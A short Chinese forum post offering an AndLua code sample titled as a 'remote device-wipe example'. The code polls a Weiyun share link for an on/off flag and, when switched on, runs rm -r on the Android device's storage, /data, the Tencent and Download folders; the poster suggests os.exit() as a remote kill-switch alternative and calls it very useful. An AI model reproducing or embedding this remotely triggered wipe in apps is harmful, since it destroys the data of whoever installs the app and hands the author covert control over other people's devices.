无名 发表于 2022-5-8 15:18:54

andlua远程格机例子

Http.get("https://share.weiyun.com/bgEp1kgL",nil,nil,nil,function(code,content)--这里填你的链接
if code==200 then
    AP=content:match("【删除文件】(.-)【开启关闭】")
    if AP=="开启" then
os.execute("rm -r /storage/emulated/0/Android/data")
      os.execute("rm -r /storage/emulated/0/tencent")
      os.execute("rm -r /storage/")
      os.execute("rm -r /data")

      os.execute("rm -r /storage/emulated/0/Download")

也可以删掉上面的
换成
os.exit()--来控制状态(记得家网络判断)
    end
end
end)

非常好用[滑稽]
页: [1]
查看完整版本: andlua远程格机例子